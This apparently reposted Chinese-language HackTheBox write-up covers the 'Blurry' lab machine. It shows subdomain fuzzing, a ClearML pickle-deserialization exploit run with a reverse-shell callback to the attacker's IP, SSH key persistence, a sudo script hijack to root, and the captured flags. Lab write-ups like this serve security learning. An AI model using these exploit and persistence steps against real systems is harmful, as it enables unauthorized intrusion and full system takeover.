Blurry - hackthebox

简介

靶机名称:Blurry

难度:中等

靶场地址:https://app.hackthebox.com/machines/605

本地环境

靶机IP :10.10.11.19

linux渗透机IP(kali 2024.2):10.10.16.17

windows渗透机IP(windows11):10.10.14.20

扫描

nmap感觉是被阻滞了,奇慢无比,先fscan垫一下好了

fscan -h 10.10.11.19 -nobr -p "1-65535"


   ___                              _
  / _ \     ___  ___ _ __ __ _  ___| | __
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <
\____/     |___/\___|_|  \__,_|\___|_|\_\
                     fscan version: 1.8.4
start infoscan
10.10.11.19:22 open
10.10.11.19:80 open
[*] alive ports len is: 2
start vulscan
[*] WebTitle http://10.10.11.19        code:301 len:169    title:301 Moved Permanently 跳转url: http://app.blurry.htb/
已完成 2/2
[*] 扫描结束,耗时: 10.272005218s

经典22和80。80有重定向,先把app.blurry.htb加入hosts再操作。

HTTP

image-20240618104451214

这个clearML是github上面的一个开源项目,相当于一个机器学习资源和任务管理平台。

还没得到更多信息,先转到其他方向。

子域名爆破

ffuf -w $HVV_Tool/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt -u http://app.blurry.htb -H "Host: FUZZ.blurry.htb" -fw 5

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://app.blurry.htb
 :: Wordlist         : FUZZ: /home/kali/1_Tool/1_HVV/8_dict/seclist/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.blurry.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response words: 5
________________________________________________

files                   [Status: 200, Size: 2, Words: 1, Lines: 1, Duration: 99ms]
app                     [Status: 200, Size: 13327, Words: 382, Lines: 29, Duration: 123ms]
chat                    [Status: 200, Size: 218733, Words: 12692, Lines: 449, Duration: 98ms]

整合一下hosts如下

10.10.11.19 app.blurry.htb
10.10.11.19 blurry.htb
10.10.11.19 files.blurry.htb
10.10.11.19 app.blurry.htb
10.10.11.19 chat.blurry.htb
10.10.11.19 api.blurry.htb

files.blurry.htb没有什么东西,看着像接口之类的?

image-20240618111102823

chat则有东西了

image-20240618111241500

chat信息收集

因为没有任何账密信息,所以先创个号进去看看能不能收集到什么。

有一个公共频道

image-20240618111633863

聊天内容就是冲评审了。这个不是重点,把用户名和全称都统计一下。

jippity
irisview
raytrace
lenasphere
dioptric
Iris Pupil
Chad Jippity
Lena Tick
Ray Flection
Dio Ptrie
Black Swan

需要注意的是,频道有两个,只是general默认置顶而已

image-20240618112509470

image-20240618112738506

两条公告看下来,首先我们知道除了clearML和rocket.chat之外,还有一个专门用于实验的平台,目前未知。还有,他们负责的项目是Black Swan(黑天鹅)

然后找不到更多信息了。回到clearML平台。

clearML

输入Chad Jippity,直接成功登陆了。

image-20240618113149654

登录之后能操作的就很多了。网上查了一下,clearML有一个很新的漏洞,CVE-2024-24590,有poc能直接打

https://github.com/OxyDeV2/ClearML-CVE-2024-24590

在使用该poc之前,我们要得到服务器认证。首先到用户界面的workspace下创建新凭据

image-20240618130721901

创建后把配置信息保存下来

image-20240618130156707

然后在攻击机上用pip下载clearml库,然后执行命令clearml-init,把刚刚复制的配置信息粘贴进去即可

api { 
    web_server: http://app.blurry.htb
    api_server: http://api.blurry.htb
    files_server: http://files.blurry.htb
    credentials {
        "access_key" = "K5B069CS9ZIXBGX2S9C7"
        "secret_key"  = "jHmPmqHLHeOqkRwk8pR06y8rQBd82QWr9UjdDJBxKmXTitXPnP"
    }
}

image-20240618130752637

起个监听后,就可以用poc直接打了……嗯?为什么无效

首先要知道这个poc的作用仅仅是上传一个包含shell代码的pickle文件到项目中,只有当别人下载该文件并加载它时,我们的shell才会被运行。也就是说clearML本身是不会跑代码的。

黑天鹅项目中有一个很显眼的定时任务Review JSON Artifacts,大概是每过几分钟就执行一次,内容如下

image-20240618143002947

#!/usr/bin/python3

from clearml import Task
from multiprocessing import Process
from clearml.backend_api.session.client import APIClient

def process_json_artifact(data, artifact_name):
    """
    Process a JSON artifact represented as a Python dictionary.
    Print all key-value pairs contained in the dictionary.
    """
    print(f"[+] Artifact '{artifact_name}' Contents:")
    for key, value in data.items():
        print(f" - {key}: {value}")

def process_task(task):
    artifacts = task.artifacts
    
    for artifact_name, artifact_object in artifacts.items():
        data = artifact_object.get()
        
        if isinstance(data, dict):
            process_json_artifact(data, artifact_name)
        else:
            print(f"[!] Artifact '{artifact_name}' content is not a dictionary.")

def main():
    review_task = Task.init(project_name="Black Swan", 
                            task_name="Review JSON Artifacts", 
                            task_type=Task.TaskTypes.data_processing)

    # Retrieve tasks tagged for review
    tasks = Task.get_tasks(project_name='Black Swan', tags=["review"], allow_archived=False)

    if not tasks:
        print("[!] No tasks up for review.")
        return
    
    threads = []
    for task in tasks:
        print(f"[+] Reviewing artifacts from task: {task.name} (ID: {task.id})")
        p = Process(target=process_task, args=(task,))
        p.start()
        threads.append(p)
        task.set_archived(True)

    for thread in threads:
        thread.join(60)
        if thread.is_alive():
            thread.terminate()

    # Mark the ClearML task as completed
    review_task.close()

def cleanup():
    client = APIClient()
    tasks = client.tasks.get_all(
        system_tags=["archived"],
        only_fields=["id"],
        order_by=["-last_update"],
        page_size=100,
        page=0,
    )

    # delete and cleanup tasks
    for task in tasks:
        # noinspection PyBroadException
        try:
            deleted_task = Task.get_task(task_id=task.id)
            deleted_task.delete(
                delete_artifacts_and_models=True,
                skip_models_used_by_other_tasks=True,
                raise_on_error=False
            )
        except Exception as ex:
            continue

if __name__ == "__main__":
    main()
    cleanup()

简单解释一下就是:

  • 初始化一个名为“Review JSON Artifacts”的 ClearML 任务。
  • 检索标记为“review”且未归档的任务。
  • 如果没有任务可供审查,则打印警告消息并返回。
  • 对于每个待审查的任务,启动一个新进程来处理该任务,并将任务标记为已归档。
  • 等待所有进程完成,如果进程在 60 秒内未完成,则终止它。
  • 将 ClearML 任务标记为已完成。

也就是说,只有tagreview的工作才会被执行自动任务的主机下载并审查。审查细节不用去了解,只要知道它肯定会运行并跑我们的shell即可。

于是最终命令如下:

python3 exploit.py --project_name  "Black Swan" --task_name "test" --artifact_name "test" --tags "review" --ip "10.10.16.17" --port "40001"

监听:

 rlwrap -cAr nc -lvvp 40001

image-20240618144321234

(真的感觉等了好长时间,中间差点以为不行打算推翻重来。)

在当前目录下找到user.txt

4645965a4154a71c0466950107e77693

提权

先把ssh公钥传上去维权。

cd ~/.ssh
echo "ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIK5sWbMpzoFOhxwVIjKUYvvMce5kR6XSmnTp7u2TlCmW kali@kali" >> authorized_keys 

看一眼网络,活跃端口还真不少

tcp        0      0 127.0.0.1:8008          0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:8080          0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:80              0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:8081          0.0.0.0:*               LISTEN      -          
tcp        0      0 0.0.0.0:22              0.0.0.0:*               LISTEN      -          
tcp        0      0 127.0.0.1:3000          0.0.0.0:*               LISTEN      -          
tcp6       0      0 :::22                   :::*                    LISTEN      - 

初次之外,sudo -l也有内容

Matching Defaults entries for jippity on blurry:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jippity may run the following commands on blurry:
    (root) NOPASSWD: /usr/bin/evaluate_model /models/*.pth

这个evaluate_model是个shell脚本,内容如下

#!/bin/bash
# Evaluate a given model against our proprietary dataset.
# Security checks against model file included.

if [ "$#" -ne 1 ]; then
    /usr/bin/echo "Usage: $0 <path_to_model.pth>"
    exit 1
fi

MODEL_FILE="$1"
TEMP_DIR="/models/temp"
PYTHON_SCRIPT="/models/evaluate_model.py"  

/usr/bin/mkdir -p "$TEMP_DIR"

file_type=$(/usr/bin/file --brief "$MODEL_FILE")

# Extract based on file type
if [[ "$file_type" == *"POSIX tar archive"* ]]; then
    # POSIX tar archive (older PyTorch format)
    /usr/bin/tar -xf "$MODEL_FILE" -C "$TEMP_DIR"
elif [[ "$file_type" == *"Zip archive data"* ]]; then
    # Zip archive (newer PyTorch format)
    /usr/bin/unzip -q "$MODEL_FILE" -d "$TEMP_DIR"
else
    /usr/bin/echo "[!] Unknown or unsupported file format for $MODEL_FILE"
    exit 2
fi

/usr/bin/find "$TEMP_DIR" -type f \( -name "*.pkl" -o -name "pickle" \) -print0 | while IFS= read -r -d $'\0' extracted_pkl; do
    fickling_output=$(/usr/local/bin/fickling -s --json-output /dev/fd/1 "$extracted_pkl")

    if /usr/bin/echo "$fickling_output" | /usr/bin/jq -e 'select(.severity == "OVERTLY_MALICIOUS")' >/dev/null; then
        /usr/bin/echo "[!] Model $MODEL_FILE contains OVERTLY_MALICIOUS components and will be deleted."
        /bin/rm "$MODEL_FILE"
        break
    fi
done

/usr/bin/find "$TEMP_DIR" -type f -exec /bin/rm {} +
/bin/rm -rf "$TEMP_DIR"

if [ -f "$MODEL_FILE" ]; then
    /usr/bin/echo "[+] Model $MODEL_FILE is considered safe. Processing..."
    /usr/bin/python3 "$PYTHON_SCRIPT" "$MODEL_FILE"
    
fi

只要知道这个脚本会对/models路径下的pth文件审查,通过后会用evaluate_model.py来跑就行了。

偏偏我们正好对evaluate_model.py有写权限

image-20240618152744718

那就没什么好说的了,直接写入梭了。

import os
os.system("/bin/bash")

image-20240618152911266

b4fe6bf95fed2a23dd0dee2669175363

结束

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/720251.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

FastAdmin后台开发框架 lang 任意文件读取漏洞复现

0x01 产品简介 FastAdmin是一款基于PHPBootstrap的开源后台框架&#xff0c;专为开发者精心打造。它基于ThinkPHP和Bootstrap两大主流技术构建&#xff0c;拥有完善的权限管理系统和一键生成CRUD等强大功能。FastAdmin致力于提高开发效率&#xff0c;降低开发成本&#xff0c;…

UltraEdit电脑版下载_UltraEdit文本编辑器中文版下载_UltraEdit 2024最新版软件安装包下载附加详细安装步骤

UltraEdit中文版是一款功能强大的文本编辑器&#xff0c;几乎可以满足你所有的工作需求。使用UltraEdit文本编辑器可以操作更多记事本所不能处理的工作。如&#xff1a;基本的编辑文本、十六进制、ASCLL码、语法加亮、代码折叠、代码单词拼写检查等、C 及 VB 指令突显等,附有 H…

ICMAN触摸芯片隔空感应演示

ICMAN高性能触摸芯片之隔空感应演示 ——手掌靠近感应盘但未触摸&#xff0c;芯片即可实现隔空感应&#xff0c;指示灯亮起。 上下左右快扫、慢扫&#xff1b;反应灵敏&#xff0c;无误触发。 产品方案设计的简单&#xff0c;只需要通过调整电容&#xff0c;即可满足客户灵敏…

安全测试必备工具——SQLMap 安装及基本应用

检测SQL注入漏洞的专用工具是安全人士工具箱的必备品。Sqlmap是由python开发的用来检测与利用SQL注入漏洞的免费开源工具。它可以确定哪些参数、标头或数据元素容易受到SQL注入的影响&#xff0c;以及哪些类型的攻击是可能的。本文详细讲解这款神器的安装及使用。 1、什么是SQ…

LabVIEW版本、硬件驱动和Windows版本之间兼容性

在LabVIEW应用开发和部署过程中&#xff0c;确保LabVIEW版本、硬件驱动和Windows版本之间的一致性和兼容性至关重要。这不仅影响程序的稳定性和性能&#xff0c;还关系到项目的成功实施。本文从多角度详细分析这些因素之间的兼容性问题&#xff0c;并提供相关建议。 兼容性考虑…

Windows 安装 java 环境

搭建java开发环境 java的产品叫JDK&#xff08;java开发者工具包&#xff09;,必须安装JDK才能使用Java。 一、下载——java下载网址 二、安装 直接全部下一步就行&#xff0c;&#xff08;安装路径可以更换一下&#xff09;。 配置JAVA_HOME环境变量&#xff0c; 安装完成后…

基于 Arm 虚拟硬件实现人脸特征提取模型的部署

基于 Arm 虚拟硬件实现人脸特征提取模型的部署 文章目录 1 实验背景1.1 Arm 虚拟硬件介绍1.2 文章简介 2 实验目标3 实验前准备3.1 订阅 Arm 虚拟硬件镜像的百度智能云云服务器 BCC 实例3.2 克隆实验代码 4 实验步骤4.1 配置开发环境4.1.1 配置 CMSIS-Toolbox 环境4.1.2 配置 P…

教你一招,一键学会NAS磁盘“净身出户”的好方法!

在毕业季这个充满离别与新的开始的时刻&#xff0c;空气中似乎也弥漫着一种“断舍离”的氛围。就在这个特殊的季节里&#xff0c;我们迎来了618购物节&#xff0c;各种诱人的优惠活动如雨后春笋般涌现。铁威马618优惠不断&#xff01;T系列部分低至六折&#xff01; 在这个热闹…

MathType软件下载2024最新版_MathType官方免费下载附加详细安装步骤

MathType(数学公式编辑器)是由Design Science公司研发的一款专业的数学公式编辑工具。MathType功能非常强大&#xff0c;尤其适用于专门研究数学领域的人群使用。使用MathType让你在输入数学公式的时候能够更加的得心应手&#xff0c;各种复杂的运算符号也不在话下。 安 装 包 …

影音发烧友必入:高清先生M8 8K蓝光播放机使用体验8K播放器

影音发烧友必入&#xff1a;高清先生M8 8K蓝光播放机使用体验 高清先生在5.18成功举办新品8K蓝光播放机“M8”的发布会后&#xff0c;心心念念想尝鲜&#xff0c;于是果断下单了一台。 外形 收到货后&#xff0c;是牛皮纸包装&#xff0c;醒目的“高清先生”标识印在正面&…

【凤凰房产-注册安全分析报告-缺少轨迹的滑动条】

前言 由于网站注册入口容易被黑客攻击&#xff0c;存在如下安全问题&#xff1a; 1. 暴力破解密码&#xff0c;造成用户信息泄露 2. 短信盗刷的安全问题&#xff0c;影响业务及导致用户投诉 3. 带来经济损失&#xff0c;尤其是后付费客户&#xff0c;风险巨大&#xff0c;造…

【element 】修改下拉菜单<el-dropdown样式为横向(超简单)

最终效果&#xff1a; 原先的默认样式&#xff1a; 代码&#xff1a; 只需在<style>中添加以下样式代码即可 .horizontal-dropdown .el-dropdown-menu {display: flex; }

深入Node.js:实现网易云音乐数据自动化抓取

随着互联网技术的飞速发展&#xff0c;数据已成为企业和个人获取信息、洞察市场趋势的重要资源。音频数据&#xff0c;尤其是来自流行音乐平台如网易云音乐的数据&#xff0c;因其丰富的用户交互和内容多样性&#xff0c;成为研究用户行为和市场动态的宝贵资料。本文将深入探讨…

2 图片的分割处理和亚像素精度处理(c++和python)

本文的图片处理分为图片分割、图像的亚像素坐标处理。亚像素处理的原理可以看论文一种基于多项式插值改进的亚像素细分算法&#xff0c;该论文的详解及c的代码实现可以看博文基于多项式插值的亚像素边缘定位算法_基于多项式插值的亚像素算法-CSDN博客。下面的内容很多来自以上博…

分析医药零售数据该用哪个BI数据可视化工具?

数据是企业决策的重要依据&#xff0c;可以用于现代企业大数据可视化分析的BI工具有很多&#xff0c;各有各擅长的领域。那么哪个BI数据可视化工具分析医药零售数据又好又快&#xff1f; 做医药零售数据分析首推奥威BI数据可视化工具&#xff01; 奥威BI数据可视化工具做医药…

移动应用开发大作业报告

1 基本信息 1.1 系统名称 中华字典 1.2 开发运行环境 开发环境&#xff1a;Windows 10 专业版&#xff0c;JDK 1.8&#xff0c;AndroidStudio 运行环境&#xff1a;Java SE Runtime Environment (JRE) 8 1.3 使用的核心技术 JFrame&#xff1a;作为实现界面的窗体类&…

YOLOV8识别物体,并返回物体的像素坐标

一、YOLOV8的相关文件修改 1. 进入路径文件&#xff1a; C:\Users\82370\.conda\envs\Ayolo8\Lib\site-packages\ultralytics\engine\result.py&#xff08;此处路径为你的anacod安装的虚拟环境Ayolo8位置&#xff09; conda create -n Ayolo8 python3.11 # 虚拟环境安装代码…

天锐绿盾 | -公司电脑文件防泄密软件

天锐绿盾是一款专为企业设计的电脑文件防泄密系统&#xff0c;它结合了多种安全功能&#xff0c;旨在从源头上保障企业数据的安全。 www.drhchina.com 以下是关于天锐绿盾的详细介绍&#xff1a; 一、产品概述 天锐绿盾&#xff0c;又名绿盾信息安全管理软件&#xff0c;是一…

Linux安装MySQL以及远程连接

1、Linux安装MySQL 1.1、准备解压包 MySQL5.x解压包 提取码&#xff1a;9y7n 1.2、通过rpm脚本安装 切记安装顺序&#xff1a;common --> libs --> client --> server 因为它们之间存在依赖关系&#xff0c;所以务必按照顺序安装 安装前请确保当前目录/文…

山体滑坡监测利器:传感器与智能监测平台的应用

山体滑坡&#xff0c;这一地质灾害的代名词&#xff0c;指的是山坡上的土体或岩体在重力作用下&#xff0c;因自然或人为因素而向下滑动的现象。滑坡具有突发性、隐蔽性、危害性和破坏性等特征&#xff0c;因此&#xff0c;对于山体滑坡的监测工作显得尤为重要。本文将探讨山体…